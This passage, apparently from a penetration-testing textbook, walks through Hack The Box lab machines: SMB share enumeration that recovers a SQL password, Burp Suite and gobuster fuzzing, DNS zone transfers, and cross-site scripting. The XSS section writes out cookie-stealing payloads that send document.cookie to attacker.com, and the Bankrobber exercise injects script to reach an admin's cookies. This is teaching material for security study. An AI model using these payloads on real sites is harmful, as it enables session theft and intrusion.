1 $ crackmapexec smb archetype.htb --shares -u 'guest' -p ''


2 SMB 10.10.10.27 445 ARCHETYPE [*] Windows Server 2019 Standard 17763
3
hide01.ir
(name:ARCHETYPE) (domain:Archetype) (signing:False) (SMBv1:True)
4 SMB 10.10.10.27 445 ARCHETYPE [+] Archetype\guest:
5 SMB 10.10.10.27 445 ARCHETYPE [+] Enumerated shares
6 SMB 10.10.10.27 445 ARCHETYPE Share Permissions Remark
7 SMB 10.10.10.27 445 ARCHETYPE ----- ----------- ------
8 SMB 10.10.10.27 445 ARCHETYPE ADMIN$ Remote Admin
9 SMB 10.10.10.27 445 ARCHETYPE backups READ
10 SMB 10.10.10.27 445 ARCHETYPE C$ Default share
11 SMB 10.10.10.27 445 ARCHETYPE IPC$ Remote IPC

Installation instructions for Crackmapexec are located:

https://github.com/byt3bl33d3r/CrackMapExec/wiki/Installation

Of these approaches, smbclient does not reveal permissions information, which makes the
other tools more informative in this case. For smbmap and crackmapexec, you have to
specify a username explicitly. In this case, it doesn’t matter what username you choose; it
just can’t be an empty string.

Mounting and Exploring a Shared Folder

From all of the tools you ran, you can see that the “guest” user has unauthenticated read
access to the folder called backups. To explore this shared folder, you can mount the share
directly using the command mount. Mounting means that you map the share to a local
drive and then can access it as if it were local:

1 sudo mkdir /mnt/cifs


2 sudo mount -t cifs -o username=guest //archetype.htb/backups /mnt/cifs

You will need to install cifs-utils:

sudo apt-get install cifs-utils


hide01.ir
If you mount the share, you can unmount it with the command:

sudo umount /mnt/cifs

The other way to explore the share is with the smbclient tool. This command is similar to
FTP; it provides a prompt from which files and directories within the share can be accessed:

1 ┌─[✗]─[oztechmuse@parrot]─[~/boxes/StartingPoint/Archetype]
2 └──╼ $smbclient -N \\10.10.10.27\backups

Try "help" to get a list of possible commands.

1 smb: \> dir


2 . D 0 Mon Jan 20 20:20:57 2020
3 .. D 0 Mon Jan 20 20:20:57 2020
4 prod.dtsConfig AR 609 Mon Jan 20 20:23:02 2020
5 10328063 blocks of size 4096. 8257280 blocks available
6 smb: \>

On the Archetype machine, in the backups folder, notice that there is an MS SQL server
integration service dtsconfig file, which is used to configure packages that are integrated
with MS SQL server. The dtsconfig file is called prod.dtsConfig. Let’s look at its contents:

1 <DTSConfiguration>
2 <DTSConfigurationHeading>
3 <DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..."
4 GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
5 </DTSConfigurationHeading>
6 <Configuration ConfiguredType="Property"
7 Path="\Package.Connections[Destination].Properties[ConnectionString]"
8 ValueType="String">
9 <ConfiguredValue>Data Source=.;Password=M3g4c0rp123;
10 User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;
11 Provider=SQLNCLI10.1;Persist Security Info=True;
12 Auto Translate=False;
13
hide01.ir
</ConfiguredValue>
14 </Configuration>
15 </DTSConfiguration>

Inside, the file contains a username and password that can be used to access MS SQL
server on the machine (line 6). This means you could log into the database using an
interactive command line tool and, in this case, execute shell commands. We will come
back to the exploitation of MS SQL in Chapter 3.
hide01.ir
Website Enumeration
Web applications are a prime target for attackers because they are generally externally
facing; that is, they are directly accessible to the public. They also employ a variety of
technologies to create functionality on the site designed to respond to users in real time.
Moreover, the developers who program them haven’t traditionally had much experience in
security. These dynamic websites may have exploitable vulnerabilities that an attacker
can take advantage of.

Viewing HTTP Requests and Responses in Burp Suite

Web servers, the software that host websites, are programs responsible for sending the
various files needed to display a webpage in response to a client’s requests. The client,
which is usually a browser, then uses those files to display the webpage to the user.
Machines serve websites over the Hypertext Transfer Protocol (HTTP), which you can think
of as the language of web communications.

You can examine these HTTP requests and responses using an application called Burp
Suite. Burp acts as a proxy server: in other words, it intercepts HTTP requests from a
browser and passes the request to the server, then receives the HTTP response from the
sever before passing it to the client. In doing so, Burp allows you to view the requests and
responses generated when you perform various actions on a website, such as click buttons
or fill out forms. As you’ll soon see, this information will become important in the
exploitation of websites.

Exploring and Configuring Burp

You can start Burp Suite by selecting it from the Applications menu in Parrot OS under
Pentesting > Most Used Tools > burpsuite. By default, Burp starts a proxy listener on port
8080, as you can see noted in the Event log on the dashboard.
hide01.ir

Dashboard of Burp Suite

HTTP usually communicates on port 80, while the encrypted version of the protocol,
HTTPS, usually communicates on port 443. (An Nmap run with scripts and versions (-sC
and -sV), will report web servers running on different ports if it finds them.) Because Burp is
a proxy and intercepts requests, it listens on port 8080.

Burp has a range of capabilities, including capturing HTTP traffic, editing requests before
sending them to a server, and even fuzzing the URLs and data in requests. URL fuzzing is
the process of substituting different parts of the URL with words from a dictionary in order
to discover the structure of the website. We can do this because, typically, a website uses a
URL structure that map directly onto a directory structure under the root directory from
which the website is run. The main thing we’ll use it for, however, is its interception and
forwarding capabilities.

Although Burp has a built-in browser, you’ll have more flexibility if you use Firefox. You
could directly configure Firefox to use the proxy, but constantly changing the configuration
between proxied and non-proxied access would be tedious. Instead, you can use a browser
add-on, such as FoxyProxy. To install FoxyProxy, add it to Firefox from its installation page
(https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/\).
hide01.ir
Once FoxyProxy is installed, you can configure a proxy setting for Burp in the Options tab.

Configuring the Burp proxy in FoxyProxy

Specify the IP address of the proxy to be the localhost address 127.0.0.1 and the port
number 8080.

Creating a Test Server

Let’s create our own web server so we can browse to it, then view the traffic this
communication generates. We will create a test directory and a test file index.html. The
name of the file is not important, but we chose it because the file for a website’s homepage
is usually called index.html. Then start a Python web server on port 8000:

1 ┌─[rin@parrot]─[~/boxes/book]
2 └──╼ $python3 -m http.server 8000
3 Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

The http.server module will listen for HTTP GET requests on port 8000 and then serve the
files requested from the directory it is running in.

Capturing Traffic

In Burp, select the Proxy tab and make sure that the Intercept is On button is selected.
Switch on the Burp proxy in FoxyProxy, then access http://127.0.0.1:8000/index.html in the
hide01.ir
browser. The request should hang in the browser as it is intercepted in Burp. Its contents
should be displayed in the Raw window.

Send this request to the Repeater tab in Burp using CTL-R, or right-clicking the window and
selecting Send to Repeater. The Repeater in Burp allows requests to be viewed, edited, and
then sent to the destination. It’s called the Repeater because this action can be repeated. We
can now either drop the request or forward it to the server. You can see the history of all
requests going through the proxy in the HTTP history tab (the second tab in the Proxy
section). If you notice a number of requests from Firefox for the URL
http://detectportal.firefox.com/ you can disable this by typing about:config in the URL
search bar of Firefox, searching for “portal,” and switching network.captive-portal-
service.enabled to false.

In the Repeater tab, you should see the request displayed in an editable window (Figure 2-
5). If you click Send, this request will be sent to the server, and the reply will be displayed in
the Response window. Let’s take a closer look at this HTTP request so you can understand
its components.

HTTP Requests

The request you sent to the Repeater window is an example of an HTTP version 1.1
request. It should look like this:
hide01.ir
1 GET /index.html HTTP/1.0
2 Host: 127.0.0.1:8000
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/

The first line of all HTTP requests, called the request line, specifies the HTTP method used.
HTTP methods identify the action of the request, and the two most commonly used ones
are GET and POST, described below. The request line also specifies the uniform resource
identifier (URI) or resource path being accessed (in this case /index.html) and the HTTP
version (HTTP/1.1). The rest of the lines are header fields, which provide the server with
additional information. The Host field provides the site’s host name and port, while the User-
Agent field specifies details of the client sending the request, in this case Firefox. Optionally,
there may be data in the body of the request, which comes after the headers. The request
shown here doesn’t have a body.

A GET request specifies that the requestor wants a resource returned to it. This resource
might be an HTML file, an image, a Javascript file, etc. To further specify the nature of the
requested content, the URL in a GET request can also include parameters at the end of the
request, after a ? symbol and separated from each other by the & character. For example,
consider the following URL:

/update.php?id=1234&newname=newfile

This request URL passes two parameters: an id field with the value 1234 and a newname
value newfile. The parameters are used by the application

On the other hand, POST requests include the parameters of the request in the body and not
in the URL. POST requests are usually used when invoking functionality on the server such
as processing a form, or uploading a file. A post request containing the information of the
previous example might have a body like the following:

id=1234&newname=newfile
hide01.ir
The body could also contain JSON formatted data.

HTTP Responses

When an HTTP server receives a request, it responds with a message that has a similar
format to the request. A response looks something like this:

1 HTTP/1.0 200 OK
2 Server: SimpleHTTP/0.6 Python/3.9.1+
3 Date: Wed, 17 Feb 2021 02:14:21 GMT
4 Content-type: text/html
5 Content-Length: 37
6 Last-Modified: Thu, 04 Feb 2021 05:42:45 GMT

The first line is the status line and contains the protocol, HTTP/1.0 and then a status code
(200) followed by the status text (OK). It is worth familiarizing yourself with a few of the
more common status codes because you will encounter them when fuzzing, or when
interacting with HTTP servers using Burp. Apart from 200, which means that the request
was accepted and generally that it did what the request asked for, there is 403 which means
"forbidden", usually because you are not authorized for that resource, 404 which means that
the resource was "not found". Codes 301 and 307 are redirects, telling the requestor that the
resource has moved to a different address. After the status line, there are header fields that
include the server type and version, the date and then information about the type and length
of the content that is being returned. The body of the response contains the actual content.

Directory Fuzzing

When learning about a website, you’ll probably want to know its layout and, if possible,
information about files that comprise it. These files may be HTML files, or files that contain
code written in languages such as PHP, ASP, ASPX, and Java. Although we might not be
able to get access to the contents of the files we find, their names might give clues as to
hide01.ir
what functionality the website provides. A file called upload.php, for example, strongly
suggests that the website supports file uploads of some sort.

One way to discover this information is to fuzz the URLs used in HTTP requests, starting
with the root of the URL, which is equivalent to the site’s IP address. For instance, if we were
to fuzz a URL http://127.0.0.1:8000/, we could simply add well-known directory names
from a wordlist after the last slash, such as “uploads,” “backups,” or “admin.” To look for
files, we could do the same, appending file extensions like .html, .php, .java, and so on.

You can use Gobuster (and other applications such as dirb, dirbuster, wfuzz) to fuzz a
website and discover its directory structure and pages. There are a range of things you are
trying to look out for when fuzzing a website. Some of those are:

The directory listing feature not disabled: This would allow us to see the entire contents
of the directory.
Upload directories: This is useful if we manage to find a way to upload files that we
can execute. In order to execute the files, we need to know where they were uploaded to.
Program files that can be tested for uploading: If the website will execute code, we can
try uploading files that will execute commands like a web shell, or even code that will
give a reverse shell. Exploiting a website for local or remote file inclusion (LFI/RFI)
allows us to either view the contents of local or remote files or execute them.
Source code repository directories: Examples include .git. These directories may
contain source code control files that will allow us to restore older versions of the code,
which can tell us how the site functions. They might also contain information such as
credentials.
Sample applications that are still accessible: Some web servers come with example
applications that demonstrate features of the product and are accessible by default
when the server is installed.
Interesting files: These might include backup files, archives, files containing data, and
notes.

The key to your success in directory fuzzing is choosing the best word list or combination
of word lists to try. You can find a collection of wordlists pre-installed on Parrot OS in
/usr/share/wordlists.

Creating a Directory Structure to Fuzz


hide01.ir
To practice using Gobuster, create a simple directory structure and some files under a
Python web server. You can do this by entering the following commands:

1 mkdir www
2 cd www
3 mkdir uploads
4 mkdir images
5 mkdir css
6 mkdir secret
7 touch index.php
8 touch index.html
9 touch upload.php
10 touch config.php

Here, we use the mkdir command create a series of directories and the touch command to
create empty files with common names.

Running Gobuster

Start the Python web server you created on port 8000 and run Gobuster:

1 ┌─[rin@parrot]─[~/boxes/book/www]
2 └──╼ $gobuster dir -w /usr/share/wordlists/dirbuster/\
3 directory-list-2.3-medium.txt -x .php,.html -u http://127.0.0.1:8000
4
5 ===============================================================
6 Gobuster v3.0.1
7 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
8 ===============================================================
9 [+] Url:
10 http://127.0.0.1:8000
11
12 [+] Threads: 10
13 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
14 [+] Status codes: 200,204,301,302,307,401,403
15 [+] User Agent: gobuster/3.0.1
16 [+] Extensions: php,html
17 [+] Timeout: 10s
18 ===============================================================
19 2021/02/04 17:02:40 Starting gobuster
20 ===============================================================
21 /index.php (Status: 200)
22
hide01.ir
/index.html (Status: 200)
23 /images (Status: 301)
24 /uploads (Status: 301)
25 /upload.php (Status: 200)
26 /css (Status: 301)
27 /config.php (Status: 200)
28 /secret (Status: 301)

The dir argument tells Gobuster we’ll do a directory scan, the -w flag specifies the wordlist to
use, the -x flag specifies the extensions of files to search for, and the -u flag specifies the
target URL to which Gobuster will append the words from the wordlist. As you can see, it
takes very little time to identify all of the directories and files we created.

Fuzzing Virtual Hostnames

Web servers often host multiple sites with different URLs by using virtual hosts. This allows
one web server to give each of its sites a meaningful name using subdomains. For
example, the URL of the subdomain www.company.com might belong to the main public
website, but it might have other sites, such as shoppingcart.company.com, linked to the
same server.

It is useful to be able to enumerate these subdomains because they may lead to hidden
functionality and information. While it may be possible to discover the subdomains from
the source code of public sites, fuzzing is sometimes the only way of uncovering them.

Technically, virtual hosts work by putting the virtual host name in a HOST header of the
HTTP request, as detailed above. The web server will use this header to decide which site to
serve to the client. We can fuzz virtual hosts explicitly with gobuster using syntax similar to
the directory fuzzing example. We’ll just use the vhost argument instead of dir:

1 ┌─[rin@parrot]─[~]
2 └──╼ $gobuster vhost -w /usr/share/SecLists/Discovery/DNS/\
3 subdomains-top1million-110000.txt -u http://company.com
4
hide01.ir
Here we’re using a different wordlist from SecLists
(/usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt). SecLists is a
series of files containing commonly used words used for fuzzing of passwords, directories,
virtual hosts, and so on.

To install SecLists you can use:

sudo apt install seclists

Obtaining Hostnames from DNS Zone Transfers

Each virtual host needs its own entry in a DNS server. The Domain Name System (DNS)
nameserver is the server that is responsible for translating hostnames, such as
www.company.com, into their corresponding IP address. When you enter a hostname in
your browser, the request goes to a DNS server, which forwards it to the IP address hosting
the site. Different nameservers handle hostnames belonging to different domains.

In the enumeration phase of an attack, probing DNS for a target can reveal information
about the target’s infrastructure, such as any mail servers associated with the target, where
the services are hosted, and, most importantly, its applications, intranets, and externally
facing websites. For example, a hostname such as webmail.company.com is likely to
identify the company’s email system, while aintranet.company.com will likely identify an
internal website that the company uses for internal purposes.

DNS organizes the information it holds in administrative groups called zones. A zone
collection of DNS entries relating to a particular domain name such as wikipedia.org or any
subdomain such as en.wikipedia.org. You can obtain potential hostnames from DNS
through a technique, called a zone transfer, normally used by administrators. A zone
transfer sends the information held within one DNS nameserver to another nameserver. If
zone transfers are enabled on a name server, we can simply request the transfer to get all of
the information related to a zone.
hide01.ir
DNS name servers normally listen on UDP port 53. If they have zone transfers enabled, they
will also listen on TCP port 53. You can find the DNS server responsible for a given domain
by using the tool nslookup. For example, run the following command to look up the
nameservers for the domain wikipedia.org:

1 ┌─[rin@parrot]─[~/book]
2 └──╼ $nslookup -type=ns wikipedia.org
3 Server: 192.168.114.1
4 Address: 192.168.114.1#53
5 Non-authoritative answer:
6 wikipedia.org nameserver = ns0.wikimedia.org.
7 wikipedia.org nameserver = ns1.wikimedia.org.
8 wikipedia.org nameserver = ns2.wikimedia.org.

The argument -type=ns tells nslookup that we’re looking for nameservers for the domain
name given as the argument. You should see a list of nameservers returned.

To initiate a zone transfer, use either host or dig:

host -l <zone> <dns server>

Here the -l <zone> argument tells the host tool to list the zone specified. XXXX

Here is the equivalent command for dig:

dig -t axfr @<dns server> <zone>

The argument -t axfr tells dig to request a zone transfer from the nameserver <dns server>
for the zone <zone>.

Keep in mind that administrators will often limit zone transfers to specific IP addresses, so
you’ll need to find subdomains and hostnames in other ways. As mentioned previously,
when we are looking for sites that are not necessarily linked to the public website and
hide01.ir
discoverable by looking at its links. Knowing the hostnames of a domain can potentially
give us candidates for web virtual hosts.
hide01.ir
Exercise: ForwardSlash
Discovering Ports and Services

As we did in the previous exercise, let’s start with an Nmap scan to identify the host’s ports
and services. This scan should reveal a Linux machine running an Apache web server on
port 80 and SSH on port 22:

1 ┌─[✗]─[rin@parrot]─[~/boxes/ForwardSlash]
2 └──╼ $sudo nmap -v -sC -sV --min-rate=1000 -T4 -p- forwardslash.htb \
3 -oN Nmap/tcp-full
4 <SNIP>
5 PORT STATE SERVICE VERSION
6 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.
7 <SNIP>
8 80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
9 | http-methods:
10 |_ Supported Methods: GET HEAD POST OPTIONS
11 |_http-server-header: Apache/2.4.29 (Ubuntu)
12 |_http-title: Backslash Gang
13 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Searching for Virtual Hosts

Now let’s get some information about how ForwardSlash is using virtual host names for its
site. In Burp, intercept the initial request sent to the server. Enable the Burp proxy in
FoxyProxy on Firefox and send the request to the Repeater using CTL-R. Then sending the
request to the server.
hide01.ir

The request for the URL http://10.129.1.91 and its response

Notice that when you enter ForwardSlash’s IP address, the browser page gets redirected to
forwardslash.htb: after sending the request, you should receive a response status code of
302 Found. This 302 status code tells the browser to redirect to http://forwardslash.htb.

We could choose to follow the redirect in Burp Suite, but instead, try changing the original
request by replacing 10.10.10.183 with forwardslash.htb which illustrates that it is this
value that determines the virtual host :

1 GET / HTTP/1.1
2 Host: forwardslash.htb
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 DNT: 1
8 Connection: close
9 Upgrade-Insecure-Requests: 1

We replace the HOST field value with the virtual host (line 2) before sending the request.
This time, the response status code is 200 OK, which means a page has been returned.

Add the hostname forwardslash.htb into the /etc/hosts file, along with the host’s IP
address, and then return to http://forwardslash.htb in the browser. You should see a
seemingly defaced home page saying that the site has been "pwned" by the Backslash
Gang.
hide01.ir

Defaced home page of http://forwardslash.htb

Discovering the Site Structure

We can use gobuster to discover the structure of the site, as we did before. This time,
though, let’s use a different wordlist, common.txt, that is part of the wordlists for the pre-
installed application dirb, in /usr/share/wordlists/dirb

1 ┌─[rin@parrot]─[~/boxes/ForwardSlash]
2 └──╼ $gobuster dir -t 50 -w /usr/share/wordlists/dirb/common.txt -u http:/
3 <SNIP>
4 /.hta (Status: 403)
5 /.htpasswd (Status: 403)
6 /.htaccess (Status: 403)
7 /index.php (Status: 200)
8 /server-status (Status: 403)

This output doesn't reveal anything particularly interesting, other than the fact that the
server is running PHP; we know this because the home page is index.php. Also notice that
the /server-status page returns a 403 status code, which means we don't have access to it.
Let’s try another search and specify some extensions of .txt, .php and .html with the -x flag:
hide01.ir
1 ┌─[rin@parrot]─[~/boxes/ForwardSlash]
2 └──╼ $gobuster dir -t 50 -w /usr/share/wordlists/dirb/common.txt \
3 -u http://forwardslash.htb -x php,txt,html
4 <SNIP>
5 /index.php (Status: 200)
6 /index.php (Status: 200)
7 /note.txt (Status: 200)
8 /server-status (Status: 40

This returns a file, note.txt which we can view with the curl command:

1 ┌─[rin@parrot]─[~/boxes/ForwardSlash]
2 └──╼ $curl http://forwardslash.htb/note.txt

Pain, we were hacked by some skids that call themselves the "Backslash Gang"... I
know... That name... Anyway I am just leaving this note here to say that we still have that
backup site so we should be fine.

-chiv

This note suggests that there is a backup site, which means that it’s likely to be a virtual
host. Let’s try to find it. Return to Burp, where you should still have the original request in the
Repeater tab, and change the Host field to backup.forwardslash.htb. (This seems like a
likely name for the backup site.) When you send this to the server, you should get a 302
redirect to a login.php page.

Request with changed Host: field to backup.forwardslash.htb


hide01.ir
Note that we could have also used gobuster to discover this virtual host using the vhost
argument:

1 ┌─[✗]─[rin@parrot]─[~/boxes/ForwardSlash]
2 └──╼ $gobuster vhost -w /usr/share/SecLists/Discovery/DNS/\
3 subdomains-top1million-20000.txt -u http://forwardslash.htb
4 <SNIP>
5 Found: backup.forwardslash.htb (Status: 302) [Size: 33]

Add backup.forwardslash.htb to the /etc/hosts file, then navigate to that URL on the
browser to get to the same login page.

Login page of http://backup.forwardslash.htb/login.php


hide01.ir
You’ve successfully fuzzed a website to discover its directory structure and file contents.
You’ve also fuzzed virtual host names to discover a hidden site. This site has presented us
with more to enumerate and the opportunity to find more information and vulnerabilities.
We’ll leave ForwardSlash for now, and move on to cover enumeration of users and
processes in the next chapter. We’ll return to ForwardSlash in Chapter 4, when we explore
web vulnerabilities.
hide01.ir

Chapter 3 Enumeration: Web Vulnerabilities


hide01.ir
Website Vulnerabilities
In the previous chapter we covered enumeration of a variety of services and introduced
the exploration of websites. Websites and web-based applications often represent the
largest attack surface of companies because they are by-design externally accessible. At
the same time, there has been an increase in the complexity of the code and the number
of different components in a website or web application increasing the likelihood of
vulnerabilities that can be exploited. In this chapter, we will explore the different
categories of the most common serious vulnerabilities known as the OWASP top 10
(Open Web Application Security Project) and look at how to enumerate, and exploit, them.
In the chapter's exercises, we will cover examples of these classes of vulnerabilities in the
machines Bankrobber, JSON, Multimaster, Netmon and ForwardSlash.

Websites are a collection of files that provide (static) formatting instructions as to a


browser about how to layout content on a page. This comes in the form of HTML
(Hypertext Markup Language), CSS (Cascading Style Sheets) and media files such as
images. Dynamic behavior to add interactivity to a page in the browser can be added via
JavaScript. JavaScript can also alter the formatting of a page by interacting with a
rendered page's Document Object Model (DOM). The DOM is the way the browser organizes
the HTML elements that control the formatting of the page.

A webpage can communicate with other programs running on servers by submitting data
through the use of HTML forms, or by using communications technologies such as Web
Sockets and Ajax (Asynchronous JavaScript and XML). This communication can be
handled using a variety of different programming frameworks and web services including
REST (Representational State Transfer), Python Django, Ruby on Rails and ASP.NET (to
name just a few of the many).

Web services that are provided by applications running on servers typically interact with
database technologies of some kind to handle the data used by the application. This will be
either a relational database of some sort (some examples of which are MySQL,
PostgreSQL, Microsoft SQL Server, Oracle) or what is called a NoSQL database (for
example, MongoDB, AWS Dynamo DB, Azure Cosmos DB).

It is the interactivity of websites and applications that make them vulnerable to exploitation
and give attackers the ability to execute commands on the remote machine, or view or alter
hide01.ir
files on that machine. Although there are many ways in which the interaction of browser,
web applications, operating systems and databases can be exploited, we are going to focus
on the top 10 most common types of vulnerabilities that are exploited by attackers.

OWASP Top 10 Web Vulnerabilities

Whilst browsing a website, there are a number of specific types of vulnerabilities that you
would be looking for. This starts with identifying the software being used for the site, the
directory structure as outlined in the previous chapter, and then concentrating on the
functionality of the site.

When looking for vulnerabilities, it is worth concentrating on the most common. The Open
Web Application Security Project (OWASP) maintains a list of the top 10 most critical
security risks to web applications. The latest list is:

1. Injection
2. Broken Authentication
3. Sensitive Data Exposure
4. XML External Entities (XXE)
5. Broken Access Control
. Security Misconfiguration
7. Cross-Site Scripting (XSS)
. Insecure Deserialisation
9. Using Components with Known Vulnerabilities
10. Insufficient Logging and Monitoring

There are tools which will scan a web application automatically for these vulnerabilities
with varying degrees of success. Some of these tools include OWASP ZAP, Burp Suite
Professional, OpenVAS and Nessus to name a few. We will be doing the process manually
however because it is important to understand the underlying mechanisms by which these
vulnerabilities work, and also how they can be mitigated.

We will look at this slightly out of order because I want to cover an example of cross-site
scripting XSS that then leads to a SQL injection vulnerability being exposed.
hide01.ir
Cross-Site Scripting (XSS)
Web applications usually respond to HTTP requests from a user's browser or other
application. The server application will send a mixture of HTML, CSS and JavaScript that
will be rendered and executed by the client. The browser will take the HTML and create a
document object model (DOM) of the page using the CSS to style and format the HTML.
Finally, JavaScript may be executed, and this could dynamically change the DOM and
styling. Using JavaScript in this way helps to make the page responsive and avoiding round
trips on the network back to the server. All of this makes the code that executes on the client
vulnerable to attack in a number of different points in this process.

Cross-site scripting is another example of allowing unchecked and unsanitized input. In this
case, the input is of HTML and JavaScript. If the JavaScript is executed by a target's
browser, there is the potential to do a number of malicious things including:

JavaScript to steal cookies that may contain session tokens that can be used for
impersonation of a user.
Use HTML5 to gain access to microphones, cameras and other devices on the
computer
Keylogging by registering event listeners
Make other HTTP requests to carry out Server-Side Request Forgery (SSRF) attacks
Change the appearance of the page to abuse the target

XSS relies on the targeted user to interact with URLs and to potentially allow access when
requested, so it relies heavily on social engineering techniques to trick a user into doing
things on the attacker's behalf. In this respect though, it is not that dissimilar to phishing
attacks generally.

There are three main types of XSS. The first two differ in whether they are persistent or not.

Stored XSS

Stored XSS is where an attacker injects malicious content that is stored by the application
and then served up to other victims who visit the site. An example of this is would be
hide01.ir
injecting script into the input of a comment feature on a site which then gets displayed to
other users. The script can be crafted to steal cookies by using the code:

<script>window.location="http://attacker.com/?cookie=" + document.cookie</sc

Javascript can be incorporated into other HTML elements such as

<img src="javascript:alert('XSS');">

More sophisticated scripts can be included from external sources:

<script src=http://attacker.com/xss.js></script>

Reflected XSS

This is a non-persistent XSS attack where the target is tricked into clicking a link to a site
that incorporates the malicious script. An example of this would be tricking a target to click
on a search link:

1 <a href=http://search.com/search?keyword=<script>
2 window.location='http://attacker.com/?cookie=' +
3 document.cookie</script>;>Click Here</a>

The script would be executed when the search function prints the results:

1 You searched for: <script>window.location='http://attacker.com/?cookie=' +


2 document.cookie</script>
3 Results: …
hide01.ir
Again the user needs to be tricked into clicking a link and ideally not noticing the results of
that click.

DOM-based XSS

In DOM-based XSS, the attacker uses the existing scripts on a page to write malicious code
to the page itself where it is then executed. All of this can happen on the client when the
page's javaScript is executed bypassing any filtering or protection on the server itself.

Taking the requested URL from the previous example

http://search.com/search?keyword=javascript:alert("DOM XSS on: " + document.

The following HTML would be vulnerable:

1 <html>
2 Your search: <em></em>
3 <script>
4 var keyword = location.search.substring(9);
5 document.querySelector('em').innerHTML = keyword;
6 window.location=document.querySelector('em').innerHTML
7 </script>
8 </html>

This would then result in the malicious script being included in the page:

1 <html>
2 Your search: <em>javascript:alert("DOM XSS on: " + document.domain)</em>
3 <script>
4 var keyword = location.search.substring(6);
5
hide01.ir
document.querySelector('em').innerHTML = keyword;
6 </script>
7 </html>

This would result in an alert being popped up.


hide01.ir
Exercise: Discovering XSS on Bankrobber
An nmap scan reveals that Bankrobber is a Windows box and has HTTP running on ports
80 and 443, SMB on port 445 and MariaDB on port 3306:

1 ┌─[rin@parrot]─[~/boxes/Bankrobber]
2 └──╼ $sudo nmap -v -sC -sV -T4 --min-rate 1000 -p- bankrobber.htb \
3 -oA nmap/full-tcp
4 <SNIP>
5 PORT STATE SERVICE VERSION
6 80/tcp open http Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.4)
7 | http-methods:
8 |_ Supported Methods: GET HEAD POST OPTIONS
9 |_http-server-header: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4
10 |_http-title: E-coin
11 443/tcp open ssl/http Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.
12 | http-methods:
13 |_ Supported Methods: GET HEAD POST OPTIONS
14 |_http-server-header: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4
15 |_http-title: Bad request!
16 | ssl-cert: Subject: commonName=localhost
17 | Issuer: commonName=localhost
18 | Public Key type: rsa
19 | Public Key bits: 1024
20 | Signature Algorithm: sha1WithRSAEncryption
21 | Not valid before: 2009-11-10T23:48:47
22 | Not valid after: 2019-11-08T23:48:47
23 | MD5: a0a4 4cc9 9e84 b26f 9e63 9f9e d229 dee0
24 |_SHA-1: b023 8c54 7a90 5bfa 119c 4e8b acca eacf 3649 1ff6
25 |_ssl-date: TLS randomness does not represent time
26 | tls-alpn:
27 |_ http/1.1
28 445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds
29 (workgroup: WORKGROUP)
30 3306/tcp open mysql MariaDB (unauthorized)
31 Service Info: Host: BANKROBBER; OS: Windows; CPE: cpe:/o:microsoft:windows

MariaDB is very similar to MySQL and uses the same SQL syntax. After navigating to the
URL http://bankrobber.htb we find a Bitcoin trading platform called E-coin.
hide01.ir

Home page of Bankrobber

There is a login function and below that a place to register new accounts. If we register an
account with username 'john' and password 'password' and then login, we are taken to a
page that allows us to transfer E-coin to (presumably) another user using the ID of the user.
hide01.ir

Transfer E-coin function of Bankrobber

If we right click on the page and select Inspect Element to go into the developer tools of the
browser, we can navigate to the Storage tab and look at the Cookies that have been set. The
cookies are:

1 id: 3
2 password: cGFzc3dvcmQ%3D
3 username: am9obg%3D%3D

The username and password cookies are simply the Base64 encoded versions of "john" and
"password" which you can verify for yourself. We can see that the id of the user is 3 and so
hide01.ir
it suggests that there are at least 2 other users (1 and 2) on the system.

If we submit a transaction by entering 100 as the amount, 2 as the id and a comment of


"test", a popup reports "Transfer on hold. An admin will review it within a minute. After that
he will decide whether the transaction will be dropped or not.".

This suggests that a person will be reviewing the transfer and so anything we put in the
comment field is likely to be rendered when the admin views it. This makes the comment
field a candidate for cross-site scripting. To test this, let us start a Python web server on our
box:

1 ┌─[rin@parrot]─[~/boxes/Bankrobber]
2 └──╼ $sudo python3 -m http.server 80
3 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/)

We can then create a new transaction and put the following HTML into the comment field:

<img src=http://10.10.14.29/img.jpg />

This eventually hits the Python web server, and we get the request:

1 ┌─[rin@parrot]─[~/boxes/Bankrobber]
2 └──╼ $sudo python3 -m http.server 80
3 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
4 10.129.70.254 - - [25/Feb/2021 10:38:08] code 404, message File not found
5 10.129.70.254 - - [25/Feb/2021 10:38:08] "GET /img.jpg HTTP/1.1" 404 -

So we know that XSS works. The first thing we can do is to steal the administrator's
cookies. We know that the cookies used on the site simply consist of the username and
password Base64 encoded. To get them we can use the JavaScript function
document.cookie() in the following way:
hide01.ir
